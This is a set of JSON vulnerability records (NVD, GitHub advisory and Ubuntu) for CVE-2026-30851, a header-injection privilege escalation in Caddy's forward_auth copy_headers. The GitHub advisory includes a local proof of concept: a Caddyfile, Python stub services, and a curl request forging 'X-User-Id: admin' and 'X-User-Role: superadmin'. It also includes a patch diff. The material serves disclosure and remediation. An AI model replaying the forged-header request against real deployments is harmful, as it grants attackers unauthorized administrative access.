{
  "affected": [
    {
      "affectedData": [
        {
          "product": "caddy",
          "vendor": "caddyserver",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 2.10.0, \u003c 2.11.2"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:caddyserver:caddy:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "CD3D5EC2-EC73-4F75-841D-E2A30A0410B2",
              "versionEndExcluding": "2.11.2",
              "versionStartIncluding": "2.10.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Caddy is an extensible server platform that uses TLS by default. From version 2.10.0 to before version 2.11.2, forward_auth copy_headers does not strip client-supplied headers, allowing identity injection and privilege escalation. This issue has been patched in version 2.11.2."
    },
    {
      "lang": "es",
      "value": "Caddy es una plataforma de servidor extensible que utiliza TLS por defecto. Desde la versi\u00f3n 2.10.0 hasta antes de la versi\u00f3n 2.11.2, forward_auth copy_headers no elimina los encabezados proporcionados por el cliente, permitiendo la inyecci\u00f3n de identidad y la escalada de privilegios. Este problema ha sido parcheado en la versi\u00f3n 2.11.2."
    }
  ],
  "id": "CVE-2026-30851",
  "lastModified": "2026-06-17T10:33:01.980",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-30851",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-03-09T17:58:58.176957Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-03-07T17:15:52.540",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Issue Tracking"
      ],
      "url": "https://github.com/caddyserver/caddy/issues/6610"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Issue Tracking",
        "Patch"
      ],
      "url": "https://github.com/caddyserver/caddy/pull/6608"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Issue Tracking",
        "Patch"
      ],
      "url": "https://github.com/caddyserver/caddy/pull/7545"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Patch",
        "Vendor Advisory"
      ],
      "url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-7r4p-vjf4-gxv4"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-287"
        },
        {
          "lang": "en",
          "value": "CWE-345"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/caddyserver/caddy/v2/modules/caddyhttp/reverseproxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.10.0"
            },
            {
              "fixed": "2.11.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30851"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-06T23:38:44Z",
    "nvd_published_at": "2026-03-07T17:15:52Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nCaddy\u0027s `forward_auth` directive with `copy_headers` generates conditional header-set operations that only fire when the upstream auth service includes the named header in its response. No delete or remove operation is generated for the original client-supplied request header with the same name.\n\nWhen an auth service returns `200 OK` without one of the configured `copy_headers` headers, the client-supplied header passes through unchanged to the backend. Any requester holding a valid authentication token can inject arbitrary values for trusted identity headers, resulting in privilege escalation.\n\nThis is a regression introduced by PR #6608 in November 2024. All stable releases from v2.10.0 onward are affected.\n\n---\n\n## Scope Argument\n\nThis is a bug in the source code of this repository, not a misconfiguration.\n\nThe operator uses `forward_auth` with `copy_headers` exactly as documented. The documentation contains no warning that client-supplied headers with the same names as `copy_headers` entries must also be stripped manually. The `forward_auth` directive is a security primitive whose stated purpose is to gate backend access behind an external auth service. A user of this directive reasonably expects that the backend cannot receive a client-controlled value for a header listed in `copy_headers`.\n\nThe bug is traceable to a specific commit: PR #6608 (merged November 4, 2024), which added a `MatchNot` guard to skip the `Set` operation when the auth response header is absent. This change, while fixing a legitimate UX issue (headers being set to empty strings), removed the incidental protection that the previous unconditional `Set` provided. Before PR #6608, setting a header to an empty/unresolved placeholder overwrote the attacker-supplied value. After PR #6608, the attacker\u0027s value survives.\n\nThe fix is a single-line code change in `modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go`.\n\n---\n\n## Affected Versions\n\n| Version | Vulnerable |\n|---|---|\n| \u003c= v2.9.x | No (old code overwrote client value with empty placeholder) |\n| v2.10.0 (April 18, 2025) | Yes \u2014 first stable release containing PR #6608 |\n| v2.10.1 | Yes |\n| v2.10.2 | Yes |\n| v2.11.0 | Yes |\n| v2.11.1 (February 23, 2026, current) | Yes \u2014 unpatched |\n\n**Package:** `github.com/caddyserver/caddy/v2`\n**Affected file:** `modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go`\n\n---\n\n## Root Cause\n\nThe `parseCaddyfile` function builds one route per `copy_headers` entry. Each route uses a `MatchNot` guard and a `Set` operation:\n\n```go\n// from modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go (v2.11.1, identical in v2.10.x)\ncopyHeaderRoutes = append(copyHeaderRoutes, caddyhttp.Route{\n    MatcherSetsRaw: []caddy.ModuleMap{{\n        \"not\": h.JSON(caddyhttp.MatchNot{MatcherSetsRaw: []caddy.ModuleMap{{\n            \"vars\": h.JSON(caddyhttp.VarsMatcher{\n                \"{\" + placeholderName + \"}\": []string{\"\"},\n            }),\n        }}}),\n    }},\n    HandlersRaw: []json.RawMessage{caddyconfig.JSONModuleObject(\n        handler, \"handler\", \"headers\", nil,\n    )},\n})\n```\n\nThe route runs only when `{http.reverse_proxy.header.X-User-Id}` (the auth service\u0027s response header) is non-empty. When the auth service does not return `X-User-Id`, the placeholder is empty, the `MatchNot` guard fires, the route is skipped, and the original client-supplied `X-User-Id` header is never removed.\n\nThere is no `Delete` operation anywhere in this function.\n\n---\n\n## Minimal Reproduction Config\n\n**Caddyfile** (no redactions, as required):\n\n```\n{\n    admin off\n    auto_https off\n    debug\n}\n\n:8080 {\n    forward_auth 127.0.0.1:9091 {\n        uri /\n        copy_headers X-User-Id X-User-Role\n    }\n    reverse_proxy 127.0.0.1:9092\n}\n```\n\n---\n\n## Reproduction Steps\n\nNo containers, VMs, or external services are used. All services run as local processes.\n\n### Step 1 \u2014 Start the auth service\n\nSave as `auth.py` and run `python3 auth.py` in a terminal:\n\n```python\n# auth.py\n# Accepts any Bearer token, returns 200 OK with NO identity headers.\n# Represents a stateless JWT validator that checks signature only.\nimport sys\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        auth = self.headers.get(\u0027Authorization\u0027, \u0027\u0027)\n        code = 200 if auth.startswith(\u0027Bearer \u0027) else 401\n        self.send_response(code)\n        self.end_headers()\n        sys.stdout.write(f\u0027[auth] {self.command} {self.path} -\u003e {code}\\n\u0027)\n        sys.stdout.flush()\n    def log_message(self, *a): pass\n\nHTTPServer((\u0027127.0.0.1\u0027, 9091), H).serve_forever()\n```\n\n### Step 2 \u2014 Start the backend\n\nSave as `backend.py` and run `python3 backend.py` in a second terminal:\n\n```python\n# backend.py\n# Echoes the identity headers it receives.\nimport sys, json\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        data = {\n            \u0027X-User-Id\u0027:   self.headers.get(\u0027X-User-Id\u0027,   \u0027(absent)\u0027),\n            \u0027X-User-Role\u0027: self.headers.get(\u0027X-User-Role\u0027, \u0027(absent)\u0027),\n        }\n        body = json.dumps(data, indent=2).encode()\n        self.send_response(200)\n        self.send_header(\u0027Content-Type\u0027, \u0027application/json\u0027)\n        self.send_header(\u0027Content-Length\u0027, str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n        sys.stdout.write(f\u0027[backend] saw: {data}\\n\u0027)\n        sys.stdout.flush()\n    def log_message(self, *a): pass\n\nHTTPServer((\u0027127.0.0.1\u0027, 9092), H).serve_forever()\n```\n\n### Step 3 \u2014 Start Caddy\n\n```bash\ncaddy run --config Caddyfile --adapter caddyfile\n```\n\n### Step 4 \u2014 Run the three test cases\n\n**Test A: No token \u2014 must be blocked (confirms auth is enforced)**\n\n```bash\ncurl -v http://127.0.0.1:8080/\n```\n\nExpected: `HTTP/1.1 401`\n\n---\n\n**Test B: Valid token, no injected headers (baseline)**\n\n```bash\ncurl -v http://127.0.0.1:8080/ \\\n  -H \"Authorization: Bearer token123\"\n```\n\nExpected backend response:\n```json\n{\n  \"X-User-Id\":   \"(absent)\",\n  \"X-User-Role\": \"(absent)\"\n}\n```\n\n---\n\n**Test C: ATTACK \u2014 valid token plus injected identity headers**\n\n```bash\ncurl -v http://127.0.0.1:8080/ \\\n  -H \"Authorization: Bearer token123\" \\\n  -H \"X-User-Id: admin\" \\\n  -H \"X-User-Role: superadmin\"\n```\n\nActual backend response (demonstrates the vulnerability):\n```json\n{\n  \"X-User-Id\":   \"admin\",\n  \"X-User-Role\": \"superadmin\"\n}\n```\n\nThe backend receives the attacker-supplied identity values. The auth service accepted the token (correctly) but did not return `X-User-Id` or `X-User-Role`. Caddy skipped the `Set` operation due to the `MatchNot` guard but never deleted the original headers. The attacker-controlled values survived into the proxied request.\n\n**Test C is the proof of the vulnerability.**\n\nThe attack requires only a valid (non-privileged) token. No admin account is needed.\n\n---\n\n## Full Debug Log\n\nRun Caddy with `debug` in the global block (included in the Caddyfile above). The relevant log lines from Test C will show:\n\n```\nDEBUG   http.handlers.reverse_proxy     selected upstream  {\"dial\": \"127.0.0.1:9091\"}\nDEBUG   http.handlers.reverse_proxy     upstream responded  {\"status\": 200}\nDEBUG   http.handlers.reverse_proxy     handling response   {\"handler\": \"copy_headers\"}\n```\n\nNote that no log line will show a header deletion because no deletion occurs. The `X-User-Id` and `X-User-Role` headers are never touched.\n\n---\n\n## Impact\n\nAny deployment using `forward_auth` with `copy_headers` where the auth service validates credentials without returning identity headers in its response. This is common in:\n\n- Stateless JWT validators (verify signature, no response headers)\n- Session validators that leave identity decoding to the backend\n- Auth services where only some requests return identity headers\n\nAttack:\n1. Attacker has any valid auth token\n2. Attacker sends request with forged `X-User-Id: admin` and `X-User-Role: superadmin`\n3. Auth service validates token, returns `200 OK`, no identity headers\n4. Caddy skips `Set` (placeholder empty), never deletes original headers\n5. Backend receives `X-User-Id: admin`, `X-User-Role: superadmin`\n6. Backend grants admin access\n\nCVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` = **8.1 High**\n\n---\n\n## Working Patch\n\n```diff\n--- a/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go\n+++ b/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go\n@@ -216,6 +216,25 @@ func parseCaddyfile(h httpcaddyfile.Helper) ([]httpcaddyfile.ConfigValue, error)\n \tcopyHeaderRoutes := []caddyhttp.Route{}\n \tfor _, from := range sortedHeadersToCopy {\n \t\tto := http.CanonicalHeaderKey(headersToCopy[from])\n \t\tplaceholderName := \"http.reverse_proxy.header.\" + http.CanonicalHeaderKey(from)\n+\n+\t\t// Security fix: unconditionally delete the client-supplied header\n+\t\t// before the conditional set runs. Without this, a client that\n+\t\t// pre-supplies a header listed in copy_headers can inject arbitrary\n+\t\t// values when the auth service does not return that header, because\n+\t\t// the MatchNot guard below skips the Set entirely (leaving the\n+\t\t// original client value intact).\n+\t\tcopyHeaderRoutes = append(copyHeaderRoutes, caddyhttp.Route{\n+\t\t\tHandlersRaw: []json.RawMessage{\n+\t\t\t\tcaddyconfig.JSONModuleObject(\n+\t\t\t\t\t\u0026headers.Handler{\n+\t\t\t\t\t\tRequest: \u0026headers.HeaderOps{\n+\t\t\t\t\t\t\tDelete: []string{to},\n+\t\t\t\t\t\t},\n+\t\t\t\t\t},\n+\t\t\t\t\t\"handler\", \"headers\", nil,\n+\t\t\t\t),\n+\t\t\t},\n+\t\t})\n+\n \t\thandler := \u0026headers.Handler{\n \t\t\tRequest: \u0026headers.HeaderOps{\n \t\t\t\tSet: http.Header{\n```\n\nThe `delete` route has no matcher, so it always runs. It fires before the existing `MatchNot + Set` route. The client-supplied header is cleared unconditionally. If the auth service provides the header, the subsequent `Set` then applies the correct value. If the auth service does not provide the header, the client\u0027s value is gone and the backend receives nothing.\n\nThis is a minimal, targeted fix with no impact on existing functionality when the auth service returns the headers.\n\n---\n\n## Uniqueness Confirmation\n\nThe following were checked and confirmed not to cover this vulnerability:\n\n- All 6 GHSA advisories published 2026-02-23: GHSA-x76f-jf84-rqj8, GHSA-g7pc-pc7g-h8jh, GHSA-hffm-g8v7-wrv7, GHSA-879p-475x-rqh2, GHSA-4xrr-hq4w-6vf4, GHSA-5r3v-vc8m-m96g\n- GitHub issue #7459 (malformed Host header)\n- GitHub issue #6610 (template placeholder leakage in copy_headers \u2014 fixed by PR #6608, which introduced this regression)\n- All Caddy community forum threads on `forward_auth`, `copy_headers`, and header stripping\n- CVE-2026-25748 (authentik auth bypass \u2014 root cause is in authentik cookie parsing, not Caddy)\n- CVE-2024-21494, CVE-2024-21499 (caddy-security third-party plugin, not Caddy core)\n- PR #6608 comment thread (no security discussion)\n- cvedetails.com Caddy product listing (no matching CVE)\n\nNo prior report exists for this specific behavior.\n\n---\n\n## References\n\n- Vulnerable file (v2.11.1): https://github.com/caddyserver/caddy/blob/v2.11.1/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go\n- PR #6608 (introduced regression): https://github.com/caddyserver/caddy/pull/6608\n- Issue #6610 (related UX bug, fixed by PR #6608): https://github.com/caddyserver/caddy/issues/6610\n- forward_auth documentation: https://caddyserver.com/docs/caddyfile/directives/forward_auth\n\n---\n\n## Fix\nFix PR - https://github.com/caddyserver/caddy/pull/7545\n\n---\n\n## AI Disclosure\n\nAn LLM  was used to polish the report.",
  "id": "GHSA-7r4p-vjf4-gxv4",
  "modified": "2026-03-09T15:50:54Z",
  "published": "2026-03-06T23:38:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-7r4p-vjf4-gxv4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30851"
    },
    {
      "type": "WEB",
      "url": "https://github.com/caddyserver/caddy/issues/6610"
    },
    {
      "type": "WEB",
      "url": "https://github.com/caddyserver/caddy/pull/6608"
    },
    {
      "type": "WEB",
      "url": "https://github.com/caddyserver/caddy/pull/7545"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/caddyserver/caddy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Caddy forward_auth copy_headers Does Not Strip Client-Supplied Headers, Allowing Identity Injection and Privilege Escalation"
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "caddy",
            "binary_version": "2.6.2-6ubuntu0.24.04.3+esm2"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:24.04:LTS",
        "name": "caddy",
        "purl": "pkg:deb/ubuntu/caddy@2.6.2-6ubuntu0.24.04.3+esm2?arch=source\u0026distro=esm-apps/noble"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.6.2-6",
        "2.6.2-6ubuntu0.24.04.1",
        "2.6.2-6ubuntu0.24.04.2",
        "2.6.2-6ubuntu0.24.04.2+esm1",
        "2.6.2-6ubuntu0.24.04.3",
        "2.6.2-6ubuntu0.24.04.3+esm1",
        "2.6.2-6ubuntu0.24.04.3+esm2"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "caddy",
            "binary_version": "2.6.2-12"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:25.10",
        "name": "caddy",
        "purl": "pkg:deb/ubuntu/caddy@2.6.2-12?arch=source\u0026distro=questing"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.6.2-9",
        "2.6.2-11",
        "2.6.2-12"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "caddy",
            "binary_version": "2.6.2-14ubuntu0.26.04.1~esm1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:26.04:LTS",
        "name": "caddy",
        "purl": "pkg:deb/ubuntu/caddy@2.6.2-14ubuntu0.26.04.1~esm1?arch=source\u0026distro=esm-apps/resolute"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.6.2-12",
        "2.6.2-14",
        "2.6.2-14ubuntu0.26.04.1~esm1"
      ]
    }
  ],
  "aliases": [],
  "details": "Caddy is an extensible server platform that uses TLS by default. From version 2.10.0 to before version 2.11.2, forward_auth copy_headers does not strip client-supplied headers, allowing identity injection and privilege escalation. This issue has been patched in version 2.11.2.",
  "id": "UBUNTU-CVE-2026-30851",
  "modified": "2026-07-02T16:12:00Z",
  "published": "2026-03-07T17:15:00Z",
  "references": [
    {
      "type": "REPORT",
      "url": "https://ubuntu.com/security/CVE-2026-30851"
    },
    {
      "type": "REPORT",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-30851"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-7r4p-vjf4-gxv4"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/caddyserver/caddy/issues/6610"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/caddyserver/caddy/pull/6608"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/caddyserver/caddy/pull/7545"
    }
  ],
  "related": [],
  "schema_version": "1.7.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "medium",
      "type": "Ubuntu"
    }
  ],
  "upstream": [
    "CVE-2026-30851"
  ]
}